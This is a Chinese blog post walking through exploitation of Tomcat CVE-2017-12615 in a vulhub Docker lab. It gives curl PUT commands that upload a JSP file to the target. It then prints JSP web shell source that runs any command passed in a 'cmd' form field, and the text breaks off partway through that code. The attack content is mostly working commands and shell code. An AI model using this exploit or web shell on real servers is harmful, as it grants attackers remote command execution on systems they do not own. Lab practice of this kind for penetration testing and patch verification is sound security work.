CVE-2017-12615 tomcat漏洞利用

最新推荐文章于 2025-06-30 15:03:43 发布

yuan-ONE

最新推荐文章于 2025-06-30 15:03:43 发布

阅读量2k

点赞数

CC 4.0 BY-SA版权

分类专栏： test

本文链接：https://blog.youkuaiyun.com/onepieceyuan/article/details/86325189

该博客详细介绍了CVE-2017-12615 Tomcat漏洞的利用过程，包括如何搭建漏洞环境、执行PUT方法上传木马文件以及通过访问特定URL执行命令。读者将学习到如何利用此漏洞进行渗透测试。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.搭建漏洞环境参考github https://github.com/vulhub/vulhub.git 本文使用文件 vulhub/tomcat/CVE-2017-12615

使用docker-compose 运行靶机

2.执行PUT方法上传木马

#-d 指定内容
curl -v -X PUT -d "younglinuxer" 192.168.123.38:8080/1.jsp/


# -F "file=@{FILE_NAME}" 指定上传文件 
curl -v -X PUT -F "file=@yuan.jsp" 192.168.123.38:8080/1.jsp/

3.上传木马文件yuan.jsp 此段代码为网上截取一段jsp代码删除原来使用的cmd.exe 解析器(靶机为Linux)

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRunti